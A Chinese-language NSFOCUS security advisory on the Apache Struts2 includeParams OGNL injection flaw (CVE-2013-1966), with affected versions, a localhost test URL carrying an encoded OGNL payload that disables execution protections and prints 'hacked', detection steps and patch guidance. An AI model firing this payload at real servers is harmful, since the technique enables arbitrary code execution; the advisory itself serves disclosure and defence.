首页 -> 安全研究

安全研究

安全漏洞
Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)

发布日期:2013-05-22
更新日期:2013-05-23

受影响系统:
Apache Group Struts2 2.0.0 - 2.3.14.1
不受影响系统:
Apache Group Struts2 >= 2.3.14.2
描述:
CVE ID: CVE-2013-1966

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。


<*来源:Xgc Kxlzx
  
  链接:http://struts.apache.org/development/2.x/docs/s2-012.html
        http://struts.apache.org/development/2.x/docs/s2-013.html
        http://secunia.com/advisories/53495/
        http://www.freebuf.com/vuls/9757.html
        https://cwiki.apache.org/confluence/display/WW/S2-013
        https://cwiki.apache.org/confluence/display/WW/S2-014
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

打开Struts Blank App中的 HelloWorld.jsp增加类似下列代码:

<s:url id="url" action="HelloWorld" includeParams="all">

运行 struts2-blank app

访问下列地址: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

如果返回"hacked",则受此漏洞影响

建议:
临时解决方法:

本地验证是否受此问题影响:

搜索应用代码中所有的jsp文件,检测其中是否存在<s:a>或<s:url>这样的标签。如果存在,则进一步检测该标签中是否设置了includeParams属性为get或者all。若符合此条件,则存在该漏洞。

例如:
<s:url id="url" action="HelloWorld" includeParams="get">
<s:a includeParams="all">

如果您不能立刻安装最新补丁,可以将找到的问题代码中includeParams参数暂时设置为none。注意:这可能导致相关代码的无法执行原有正常功能。

厂商补丁:

Apache Group
------------
厂商原本宣称2.3.14.1修复了此漏洞,但经绿盟科技验证该版本并未彻底修补好这个漏洞,我们已经通报给厂商并得到确认,目前厂商已经发布2.3.14.2,已彻底修复此安全漏洞。

厂商安全公告:S2-014
链接:https://cwiki.apache.org/confluence/display/WW/S2-014

附加信息:
==========
1. https://cwiki.apache.org/confluence/display/WW/S2-014
2. https://cwiki.apache.org/confluence/display/WW/S2-013
3. http://www.inbreak.net/archives/487
4. http://www.nsfocus.net/index.php?act=alert&do=view&aid=137

浏览次数:8360
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障